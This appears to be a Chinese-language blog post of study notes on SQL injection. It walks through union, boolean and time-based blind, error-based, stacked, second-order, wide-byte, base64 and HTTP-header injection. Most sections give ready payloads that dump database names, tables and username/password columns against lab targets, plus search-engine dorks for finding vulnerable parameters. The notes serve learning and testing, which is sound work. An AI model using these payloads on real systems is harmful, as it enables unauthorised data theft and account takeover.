SQL注入笔记的随笔

  • Comments Off on SQL注入笔记的随笔
  • 21 views
  • A+
所属分类:安全文章

简介:

SQL Injection
程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患
用户可以提交一段 数据库查询代码,根据程序返回的结果,获得某些他想得知的 数据或 进行数据库操作
##SQL语句

1
2
3
4
查询: SELECT statement FROM table WHERE condition
删除记录: DELETE FROM table WHERE condition
更新记录: UPDATE table SET field=value WHERE condtion
添加记录: INSERT INTO table field VALUES(values)

SQL注入笔记

  • 最基础的注入-union注入攻击
  • Boolean注入攻击-布尔盲注
  • 时间注入攻击-时间盲注
  • 报错注入攻击
  • 堆叠查询注入攻击
  • 二次注入攻击
  • 宽字节注入攻击
  • base64注入攻击
  • cookie注入攻击-http请求头参数注入
  • XFF注入攻击-http请求头参数注入
  • 知道绝对路径的注入

0x01 最基础的注入-union注入攻击

1.首先判断是GET类型还是POST类型的注入
2.寻找出他后端的闭合规则
3.使用order by或者group by来判断有几个字段
order by是mysql中对查询数据进行排序的方法
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序
我们可以通过对order by 后面输入的数字不同来判断出他有几个字段
一般食用方法:若order by x与 order by x+1回显不一样,则有x个字段
4.使用union select 1,2,3,4,….有几个字段就写几个,例如五个字段就是select 1,2,3,4,5
判断哪个位置有回显,我们就在有回显的位置进行查询
5.例如有仨个字段,2,3位置有回显,我们就可以把2,3位置上替换成database(),user(),version()等有利于我们收集信息的函数。
6.知道了我们当前的数据库以后我们就需要查询该数据库的下的表的内容。

union select 1,group_concat(table_name) from information_schema.tables where table_schema=”database()”,3
这段sql语句的 作用是,从information_schema.tables表下面查询数据库名称为database()下的表的表名
7.查询到了当前数据库以及当前数据库下的表,接下来就是要对表中的字段进行查询,这里里user表为例

union select 1,group_concat(column_name)from information_schema.columns where table_name=”user”,3
这句sql语句的意思是从information_schema.columns表中查询user表的字段名
8.查询到字段名以后,这里以字段名username和passwd为例

union select 1,username,passwd from user;

这句sql语句的意思是从user中查询username和passwd的字段值
9.获取账号密码以后登陆后台

0x02 Boolean注入攻击-布尔盲注

前言:
一些情况下,由于开发者屏蔽了报错信息,导致攻击者无法通过报错信息来进行注入的判断。
这种情况下的注入称之为盲注,布尔盲注是基于真假的判断,不论输入的是什么,都只会返回true或者false
布尔盲注的关键在于通过表达式结果与已知值进行比对,根据比对结果判断正确与否

布尔盲注的判断方式

通过长度判断length():length(database())>=x
通过字符判断substr():substr(database(),1,1) =’x’
通过ascII码判断:ascii():ascii(substr(database(),1,1)) =x

布尔盲注的注入判断

1.id=1’ 报错
2.id=1 and 1=1 结果和id=1一样
3.id=1 and 1=2 结果异常

布尔盲注的实现

1.首先我们应该找到sql语句的闭合规则,这里以普通的单引号为例
2.布尔盲注要用到length()和substr()语句,用两种状态来猜解数据库、表名等的长度和正确字母
3.首先需要我们来猜数据库的长度,使用的是二分法;一次一次的判断,更改数据库的长度,根据返回的
true或者false来得到正确的数据库长度

1
id=1' and length(database())>=1 --+

4.其次,得到了正确的数据库长度以后我们需要来得到他的数据库名,这里手工注入太麻烦我们也可以选择使用burpsuite来帮助我们进行注入,Burpsuite的具体使用先暂不介绍;
substr()函数是用来截取数据库某个字段的一部分,有三个参数,第一个是数据库中需要截取的字段
第二个是从第几个开始,第三个字段是截取的数目,所以下面的sql语句是截取database()字段从第一个开始,截取一个字符,然后再使用Burpsuite或者Python来跑出完整的数据库名即可

1
id=1'and substr(database(),1,1)='a' --+

5.得到了数据库名,我们还要得到该数据库下的表;具体原理相似,只是把union联合查询注入中的查询语句放入到了函数中,把查询出来的数据作为我们函数的参数,这里就不再多做介绍

1
id=1' and substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='a'--+

6.得到数据库表以后,我们要获取数据库字段名

1
id=1' and substr((select column_name from information_schema.columns where table_schema='test' and table_name='users' limit 0,1),1,1)='a'--+

7.查询出数据库字段名以后,我们需要获取具体的数据

1
id=1' and substr((select username from test.users limit 0,1),1,1)='a'--+

0x03 报错注入攻击

前提:

页面没有显示位,但有SQL语句执行错误信息输出
PHP.INI中display_errors=ON开启错误回显

常用函数

floor();updatexml();ExtractValue();

updatexml()函数

  • updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。

  • 作用:改变文档中符合条件的节点的值

  • 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据

  • updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

  • 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。

  • 此函数从目标XML中返回包含所查询值的字符串 语法:extractvalue(XML_document,xpath_string)第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串) select *from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

  • extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

  • select user,password from users where user_id=1 and (extractvalue(1,0x7e));

  • 由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。
    ###报错注入的利用方式
    这里就不具体介绍了,只需要使用payload,把执行语句替换就可以了

1
2
3
4
查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
函数 利用方法
floor() select count (*) from information _schema.tables group by concat ((此处加入执行语句),0x7e,floor (rand (0)*2));
extractvalue() extractvalue (1,concat (0x7e,(此处加入执行语句),0x7e));
updatexml() select updatexml (1,concat (0x7e,(此处加入执行语句),0x7e),1);

0x04 时间注入攻击-时间盲注

时间注入介绍

利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。


其实时间盲注和布尔盲注原理相似,只是利用sleep()等函数使执行时间变成来判断条件的正确,这里不再过多介绍,直接上Payload
payload:

1
2
3
4
5
6
7
8
9
10
爆数据库名长度
**' and if(length(database())>=8,sleep(5),1)#
爆数据库:
**' and if(substr(database(),1,1)='p',sleep(5),null) #
爆数据表:
**' and if((substr(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),1,1))='a',sleep(5),null) #
爆数据列:
**' and if((substr(select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))='a',sleep(5),null) #
爆数据信息:
**' and if((substr((select password from users limit 0,1),1,1))='a',sleep(5),null)#

注意:一般注入时,猜错的几率大,所以在猜对了的时候让页面sleep()

0x05 堆叠查询注入攻击

原理介绍

SQL中,分号是用来表示一条sql语句的结束,我们可以在一条语句的结束后的;后继续构造下一条语句,会一起被执行,所以这就造成了堆叠注入,堆叠注入和union 联合查询注入都是把两条语句合并在一起,两者之间的区别在于union 执行的语句是有限的,而堆叠注入可以执行任意的语句

堆叠注入的实现

正常sql语句:Select * from users where id=’1’’;
注入sql语句:Select * from users where id=’1’;select if(length(database())>5,sleep(5),1) #
我们通过上面的比较可以看出,正常sql语句和注入sql语句的不同就在于sql注入语句后还有一条sql语句,是一条时间盲注的语句,所以我们只需要在正常的查询语句后面加上我们其他注入的方法就好了(个人理解,如果有错误欢迎各位大佬指正),因此payload的构造就是在正常输入后加上一个分号,然后加上其他类型的sql注入语句即可

0x06 二次注入攻击

二次注入原理

二次注入可以理解为攻击者构造的恶意数据存储在数据库以后,恶意数据被读取进入到sql查询语句所导致的注入。防御者可能存在用户输入恶意数据时对其中的特殊字符进行了转移,但在恶意数据插入到数据库时被处理的数据又被还原并且存储在数据库中,当web程序调用存储在数据库中的恶意数据并查询时,就发生了二次注入

二次注入条件

(1)用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)
(2)数据库对自己存储的数据非常放心,直接取出恶意数据给用户

二次注入实现

这里以sqli-libs-24关为例子
1.首先,我们注册一个账号,名为:admin’# ,密码为:123456
2.注册成功,尝试登录admin’# ,然后可以查看一下phpmyadmin内存储情况
3.这是admin的原密码是admin,两个账号都在数据库内,在我们重新修改admin’#的密码时候,这里改为123456789,可以发现admin的密码被改为了12345678,而admin’#的密码并未发生改变
SQL注入笔记的随笔
SQL注入笔记的随笔

二次注入代码审计

注册用户时:

1
$sql = "insert into users ( username, password) values("$username", "$pass")"

修改密码时:

1
2
3
4
5
$username= $_SESSION["username"];//取出数据库的数据

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";//对该用户的密码进行更新

$sql = "UPDATE users SET PASSWORD='12345678' where username='admin'#

0x07 宽字节注入攻击–

本模块部分内容转自https://blog.csdn.net/helloc0de/article/details/76180190

涉及到的基本概念

字符、字符集
字符(character)是组成字符集(character set)的基本单位。对字符赋予一个数值(encoding)来确定这个字符在该字符集中的位置。
UTF8
由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。
宽字节
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。
###宽字节注入原理
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“”),MYSQL默认字符集是GBK等宽字节字符集。

大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠,变成了 %df’,其中的十六进制是 %5C ,那么现在 %df’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df’ = %df%5c%27=縗’,有了单引号就好注入了。
例子:

1
2
3
4
5
http://127.0.0.1/Less-32/?id=1%df'('浏览器自动进行url编码%27)
根据以上分析,发生如下转换:
%df%27====>(check_addslashes)====>%df%5c%27====>(GBK)====>'
MySQL执行的语句为:
$sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1";成功将单引号闭合,可以进行SQL注入。

0x08 base64注入攻击

什么是base64注入?

base64注入是针对传递的参数被base64加密后的注入点进行注入。除了数据被加密意外,其中注入方式与常规注入一般无二

如何发现此漏洞?

在互联网系统中,目前遇到两种base64加密传参方式

第一种,例如id=1,把id=1全部加密处理,得到aWQ9MQ==,直接搜索inurl:?aWQ0

第二种,只处理传参值,得到id=MQ==,搜索inurl:?id=M*=
##0x09 HTTP请求头参数注入-cookie注入攻击
该注入的产生原因是因为程序员没有将COOKIE进行合法化检测,并将其代入到了数据库中查询了且查询变量是可控的,当用户登录成功后会产生COOKIE,每次页面刷新后端都会拿着这个COOKIE带入数据库查找,这是非常危险的.
具体实例如下图,不多做介绍
SQL注入笔记的随笔

0x10 HTTP请求头参数注入-XFF注入攻击

实际情况下,有部份站点接受数据是以 http 数据包中的 http头部去数据接收,所以,测试注入点的时候,需要将注入语句写入到http头部中。
具体实例如下图,不多做介绍
SQL注入笔记的随笔

相关推荐: 原创 | 将Python远控隐藏在文档图片中的行动分析

作者 | 安天CERT1、概述近日,安天CERT通过网络安全监测发现了一起恶意文档释放Python编写的远控木马事件。通过文档内容中涉及的组织信息和其中攻击者设置的诱导提示,安天CERT判断该事件是一起针对阿塞拜疆共和国国家石油公司进行的定向攻击活动…